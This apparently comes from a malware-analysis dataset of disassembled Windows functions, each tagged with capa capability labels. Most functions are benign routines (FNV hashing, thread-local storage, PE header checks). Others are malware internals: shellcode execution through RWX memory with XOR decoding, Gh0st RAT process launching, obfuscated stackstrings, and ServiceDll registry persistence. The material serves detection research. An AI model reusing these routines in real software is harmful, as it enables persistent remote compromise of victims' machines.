joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100c6bb0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
movzx eax, byte [edi]
xor eax, 0x811c9dc5
imul edx, eax, 0x1000193
movzx eax, byte [edi + 1]
xor edx, eax
movzx eax, byte [edi + 2]
imul edx, edx, 0x1000193
xor edx, eax
movzx eax, byte [edi + 3]
imul ecx, edx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [esi + 0x18]
and ecx, eax
mov eax, dword [esi + 0xc]
lea edx, [eax + ecx*8]
mov eax, dword [edx + 4]
cmp eax, dword [esi + 4]
je 0x100c6c1d
mov ecx, dword [edi]
mov edx, dword [edx]
cmp ecx, dword [eax + 8]
je 0x100c6c14
cmp eax, edx
je 0x100c6c1d
mov eax, dword [eax + 4]
cmp ecx, dword [eax + 8]
jne 0x100c6c08
pop edi
add eax, 0xc
pop esi
pop ebp
ret 4
push str.invalid_unordered_map_K__T__key
call dword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const__]
int3

Function at 0x100c6cc0
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
sub esp, 8
movzx eax, byte [edx]
push ebx
push esi
xor eax, 0x811c9dc5
push edi
mov edi, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [edx + 1]
xor ecx, eax
movzx eax, byte [edx + 2]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [edx + 3]
imul ecx, ecx, 0x1000193
xor ecx, eax
lea eax, [ebp - 8]
imul ebx, ecx, 0x1000193
mov ecx, edi
push ebx
push edx
push eax
call fcn.10043c60
mov esi, dword [eax + 4]
test esi, esi
je 0x100c6d75
mov ecx, dword [edi + 0x18]
mov eax, dword [edi + 0xc]
and ecx, ebx
lea ecx, [eax + ecx*8]
mov eax, dword [ecx]
cmp dword [ecx + 4], esi
jne 0x100c6d3c
cmp eax, esi
jne 0x100c6d34
mov eax, dword [edi + 4]
mov dword [ecx], eax
mov dword [ecx + 4], eax
jmp 0x100c6d44
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
jmp 0x100c6d44
cmp eax, esi
jne 0x100c6d44
mov eax, dword [esi]
mov dword [ecx], eax
mov ecx, dword [esi]
dec dword [edi + 8]
mov eax, dword [esi + 4]
mov dword [eax], ecx
mov eax, dword [esi + 4]
mov dword [ecx + 4], eax
lea ecx, [esi + 0x50]
call fcn.10031c90
push 0x5c
push esi
call fcn.100f2c1b
add esp, 8
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x100c6e40
Capabilities:
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 0xc]
mov edx, ecx
push ebx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x14], edx
cmp ebx, eax
je 0x100c6faf
mov eax, dword [edx + 4]
mov dword [ebp - 0x18], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 8], eax
movzx eax, byte [ebx + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [ebx + 9]
push esi
push edi
mov edi, dword [edx + 0xc]
mov esi, ebx
xor ecx, eax
mov dword [ebp - 0x1c], edi
movzx eax, byte [ebx + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [ebx + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
mov eax, dword [edx + 0x18]
imul ecx, ecx, 0x1000193
and eax, ecx
mov ecx, dword [edi + eax*8]
mov dword [ebp - 4], ecx
lea eax, [edi + eax*8]
mov dword [ebp - 0xc], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
nop word [eax + eax]
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 0x50]
call fcn.10031c90
push 0x5c
push edi
call fcn.100f2c1b
mov edx, dword [ebp - 0x14]
add esp, 8
dec dword [edx + 8]
cmp ebx, dword [ebp - 0x10]
je 0x100c6f0d
mov eax, dword [ebp + 0xc]
cmp esi, eax
jne 0x100c6ec0
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jne 0x100c6fa5
mov edi, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov dword [edi], esi
mov dword [ecx], esi
pop edi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov edi, dword [ebp - 0xc]
cmp ecx, dword [ebp + 8]
jne 0x100c6f21
mov eax, dword [ebp - 0x18]
mov ecx, eax
mov dword [edi], eax
jmp 0x100c6f24
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 0xc]
mov dword [edi + 4], ecx
cmp esi, eax
je 0x100c6fa5
nop
movzx eax, byte [esi + 8]
xor eax, 0x811c9dc5
imul ecx, eax, 0x1000193
movzx eax, byte [esi + 9]
xor ecx, eax
movzx eax, byte [esi + 0xa]
imul ecx, ecx, 0x1000193
xor ecx, eax
movzx eax, byte [esi + 0xb]
imul ecx, ecx, 0x1000193
xor ecx, eax
imul eax, ecx, 0x1000193
mov ecx, dword [ebp - 0x1c]
and eax, dword [edx + 0x18]
lea eax, [ecx + eax*8]
mov dword [ebp - 4], eax
mov eax, dword [eax + 4]
mov dword [ebp - 0x10], eax
mov edi, esi
mov ebx, esi
mov esi, dword [esi]
lea ecx, [edi + 0x50]
call fcn.10031c90
push 0x5c
push edi
call fcn.100f2c1b
mov edx, dword [ebp - 0x14]
add esp, 8
mov eax, dword [ebp + 0xc]
dec dword [edx + 8]
cmp ebx, dword [ebp - 0x10]
je 0x100c6fb6
cmp esi, eax
jne 0x100c6f75
mov ecx, dword [ebp - 4]
mov dword [ecx], esi
mov ecx, dword [ebp - 8]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov ebx, dword [ebp - 0x18]
mov dword [ecx], ebx
mov dword [ecx + 4], ebx
cmp esi, eax
jne 0x100c6f30
mov ecx, dword [ebp - 8]
pop edi
mov dword [ecx], esi
mov dword [esi + 4], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x100de030
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100fc5dd
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x48
mov eax, dword [0x101110c0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x101ae670]
mov edi, dword [esi + 0x174]
test edi, edi
jle 0x100de0a1
mov edx, dword [esi + 0x4cb0]
mov ecx, dword [0x101ae614]
add edx, dword [esi + 0x4cac]
push edx
push dword [esi + 0x4cb4]
mov eax, dword [ecx]
push 1
push edi
mov eax, dword [eax + 0xc]
call eax
cmp byte [0x101b1564], 0
jne 0x100de1df
movaps xmm0, xmmword [0x10106f60]
xor eax, eax
movaps xmm2, xmmword [0x10106ba0]
movups xmmword [ebp - 0x40], xmm0
mov word [ebp - 0x20], 0x8184
movaps xmm0, xmmword [0x10106ca0]
movups xmmword [ebp - 0x30], xmm0
mov byte [ebp - 0x1e], 0xc2
nop word [eax + eax]
movups xmm0, xmmword [ebp + eax - 0x40]
movaps xmm1, xmm2
xorps xmm1, xmm0
movups xmmword [ebp + eax - 0x40], xmm1
add eax, 0x10
cmp eax, 0x20
jb 0x100de0e0
cmp eax, 0x23
jae 0x100de10b
nop dword [eax]
xor byte [ebp + eax - 0x40], 0xc2
inc eax
cmp eax, 0x23
jb 0x100de100
xorps xmm0, xmm0
mov dword [ebp - 0x48], 0
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x44], 0
movups xmmword [ebp - 0x58], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100de126
sub ecx, edx
lea eax, [ebp - 0x40]
push ecx
push eax
lea ecx, [ebp - 0x58]
call fcn.10033b90
mov dword [ebp - 4], 0
mov edx, dword [0x101ae5cc]
test edx, edx
je 0x100de152
mov edx, dword [edx + 0x50]
jmp 0x100de154
xor edx, edx
mov eax, dword [0x101ae5c4]
test eax, eax
je 0x100de162
mov eax, dword [eax + 0x18]
jmp 0x100de164
xor eax, eax
lea ecx, [ebp - 0x58]
push ecx
push eax
lea ecx, [ebp - 0x1c]
call fcn.1003e3e0
mov edi, dword [ebp - 0x1c]
add esp, 8
mov ecx, dword [ebp - 0x44]
inc edi
cmp ecx, 0xf
jbe 0x100de1ae
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x100de1a4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x100de1a4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100f2c1b
add esp, 8
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 0x18]
push eax
push 0x40
push 4
push edi
mov dword [ebp - 0x18], 0
call esi
lea eax, [ebp - 0x18]
mov dword [edi], 0x3e
push eax
push dword [ebp - 0x18]
push 4
push edi
call esi
mov byte [0x101b1564], 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.100f27a0
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
Function at 0x100de560
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, ecx
mov dl, byte [esi]
xor dl, byte [edi]
and dl, 1
xor dl, byte [edi]
mov byte [edi], dl
mov cl, byte [esi]
xor cl, dl
and cl, 2
xor cl, dl
mov byte [edi], cl
movzx eax, byte [esi]
xor al, cl
and al, 4
xor al, cl
mov byte [edi], al
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 8]
mov dword [edi + 8], eax
movq xmm0, qword [esi + 0xc]
movq qword [edi + 0xc], xmm0
mov eax, dword [esi + 0x14]
mov dword [edi + 0x14], eax
movq xmm0, qword [esi + 0x18]
movq qword [edi + 0x18], xmm0
mov eax, dword [esi + 0x20]
mov dword [edi + 0x20], eax
mov eax, dword [esi + 0x24]
mov dword [edi + 0x24], eax
mov eax, dword [esi + 0x28]
mov dword [edi + 0x28], eax
mov eax, dword [esi + 0x2c]
mov dword [edi + 0x2c], eax
mov eax, dword [esi + 0x30]
mov dword [edi + 0x30], eax
mov eax, dword [esi + 0x34]
mov dword [edi + 0x34], eax
mov eax, dword [esi + 0x38]
mov dword [edi + 0x38], eax
mov eax, dword [esi + 0x3c]
mov dword [edi + 0x3c], eax
movq xmm0, qword [esi + 0x40]
movq qword [edi + 0x40], xmm0
mov eax, dword [esi + 0x48]
mov dword [edi + 0x48], eax
movq xmm0, qword [esi + 0x4c]
movq qword [edi + 0x4c], xmm0
mov eax, dword [esi + 0x54]
mov dword [edi + 0x54], eax
mov eax, dword [esi + 0x58]
mov dword [edi + 0x58], eax
movq xmm0, qword [esi + 0x5c]
movq qword [edi + 0x5c], xmm0
mov eax, dword [esi + 0x64]
mov dword [edi + 0x64], eax
movq xmm0, qword [esi + 0x68]
movq qword [edi + 0x68], xmm0
mov eax, dword [esi + 0x70]
mov dword [edi + 0x70], eax
mov eax, dword [esi + 0x74]
mov dword [edi + 0x74], eax
movq xmm0, qword [esi + 0x78]
movq qword [edi + 0x78], xmm0
mov eax, dword [esi + 0x80]
mov dword [edi + 0x80], eax
movq xmm0, qword [esi + 0x84]
movq qword [edi + 0x84], xmm0
mov eax, dword [esi + 0x8c]
mov dword [edi + 0x8c], eax
movq xmm0, qword [esi + 0x90]
movq qword [edi + 0x90], xmm0
mov eax, dword [esi + 0x98]
mov dword [edi + 0x98], eax
mov eax, dword [esi + 0x9c]
mov dword [edi + 0x9c], eax
mov eax, dword [esi + 0xa0]
mov dword [edi + 0xa0], eax
mov eax, dword [esi + 0xa4]
mov dword [edi + 0xa4], eax
movzx eax, byte [esi + 0xa8]
mov byte [edi + 0xa8], al
movq xmm0, qword [esi + 0xac]
movq qword [edi + 0xac], xmm0
mov eax, dword [esi + 0xb4]
mov dword [edi + 0xb4], eax
mov eax, edi
pop edi
pop esi
pop ebp
ret 4
Function at 0x100072dc
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000731b
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000731b
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000731b
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000731b
cmp dword [ecx + 0x74], 0xe
jbe 0x1000731b
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10008d41
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002ff68
push 0x1002ff60
push str.FlsAlloc
push 0x1f
call fcn.10008c5d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10008d75
push dword [ebp + 8]
mov ecx, esi
call dword [0x10010118]
call esi
jmp 0x10008d7b
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x10008dbf
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002ff78
push 0x1002ff70
push str.FlsGetValue
push 0x21
call fcn.10008c5d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10008df6
push dword [ebp + 8]
mov ecx, esi
call dword [0x10010118]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x10008dfe
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002ff80
push 0x1002ff78
push str.FlsSetValue
push 0x22
call fcn.10008c5d
mov esi, eax
add esp, 0x10
test esi, esi
je 0x10008e38
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10010118]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1000b5db
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1000b678
push ebx
push esi
call fcn.1000b5a4
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1000a475
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000b625
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000b677
push edi
push eax
call fcn.10007f9c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1000b645
call fcn.10007f62
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1000b676
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1000a475
add esp, 0x20
test eax, eax
jne 0x1000b664
push edi
call fcn.10007f62
jmp 0x1000b66c
push ebx
call fcn.10007f62
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x1000f190
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000f1bd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000f1bd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x10002000
Capabilities:
Contain obfuscated stackstrings
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x1000b2f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1b8
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
lea ecx, [esi + 4]
call fcn.10001000
lea ecx, [esi + 0x2c]
mov dword [esp + 0x1d0], 0
call fcn.10001000
lea ecx, [esi + 0x54]
mov byte [esp + 0x1d0], 1
call fcn.10001000
lea ecx, [esi + 0x7c]
mov byte [esp + 0x1d0], 2
call fcn.10001000
mov al, 0x6c
mov cl, 0x6e
mov byte [esp + 0x2d], al
mov byte [esp + 0x32], al
mov byte [esp + 0x33], al
mov al, 0x74
mov byte [esp + 0x1c], al
mov byte [esp + 0x22], al
mov byte [esp + 0x2b], cl
mov byte [esp + 0x21], cl
lea eax, [esp + 0x18]
lea ecx, [esp + 0x28]
mov bl, 0x65
mov dl, 0x72
push eax
push ecx
mov byte [esp + 0x1d8], 3
mov dword [esi], 0x10011160
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], dl
mov byte [esp + 0x34], bl
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3c], 0
mov byte [esp + 0x20], 0x43
mov byte [esp + 0x21], dl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], 0x61
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x45
mov byte [esp + 0x27], 0x76
mov byte [esp + 0x28], bl
mov byte [esp + 0x2b], 0x41
mov byte [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x38]
mov edi, eax
push edx
push 0x202
call dword [0x10014f98]
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
push 0x47c
call ebp
add esp, 4
push 0
push 0
push 1
push 0
call edi
push 0x47c
mov dword [esi + 0xac], eax
call ebp
add esp, 4
mov byte [esi + 0xb5], 0
mov dword [esi + 0xa8], 0xffffffff
mov byte [esp + 0x10], 0x45
mov byte [esp + 0x11], 0x79
mov byte [esp + 0x12], bl
mov byte [esp + 0x13], 0x73
mov edx, dword [esp + 0x10]
lea ecx, [esi + 0xb0]
mov al, 0x32
pop edi
mov dword [ecx], edx
mov byte [ecx + 4], al
mov ecx, dword [esp + 0x1c4]
mov eax, esi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c4
ret

Function at 0x10002cc0
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x10002ce2
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.10010250
add esp, 8
test al, al
jne 0x10002cf6
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.Gh0st_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x10003660
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 8]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x100157d0]
xor edi, edi
push eax
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x10003650
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [0x10014f74]
mov dword [esp + 0x1c], eax
mov eax, dword [0x100157d0]
push 0x7f8b
push eax
call dword [0x10014f5c]
push 2
mov dword [esp + 0x24], eax
call dword [0x10014f54]
lea ecx, [esp + 8]
mov dword [esp + 0x24], eax
push ecx
mov dword [esp + 0x2c], 0x66
mov dword [esp + 0x30], str.WIN32_Application
call dword [0x10014f60]
mov eax, dword [0x100157d0]
push edi
push eax
push 0x66
push eax
call dword [0x10014f68]
push eax
push edi
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push str.My_Win32_Applaction
push str.WIN32_Application
push edi
call dword [0x10014f6c]
mov esi, dword [esp + 0x38]
push 0x104
mov edx, dword [esi]
push edx
push 0x10015808
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x10015808
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x10003600
push 0x10015808
call dword [0x10014f14]
push 1
push edi
push 2
mov dword [0x100156bc], eax
call fcn.100035a0
push edi
push edi
push 4
call fcn.100035a0
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x10004be0
push edi
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push edi
push 0x100044a0
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10013528], eax
push edi
push edi
call fcn.10003360
add esp, 8
push 0x3e8
call esi
jmp 0x100037a5

Function at 0x100037c0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1000383f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1000382d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1000382d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x100037fc
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x10003b20
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, str.SYSTEMCurrentControlSetServices_
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, str.Nljxts_WwstxcfAmd
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, str.system64.log
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.10003a40
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push str.SOFTWARE_d
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.10003aa0
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push str._sParameters
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [0x10014f48]
push str._RqmbzdlDjn_p__PjluTUjjxppwwt_ohd
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push str._RqmbzdlDjn_p__PjluTUjjxppwwt_ohd
push 2
push ebx
push str.ServiceDll
push eax
call dword [0x10014f44]
mov ecx, dword [esp + 0x10]
push ecx
call dword [0x10014f2c]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.10003a40
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.10003aa0
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x10004270
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.10003fe0
test eax, eax
jne 0x1000427e
call fcn.10003b20
call fcn.10004140
test eax, eax
jne 0x1000428c
jmp fcn.10003d20
ret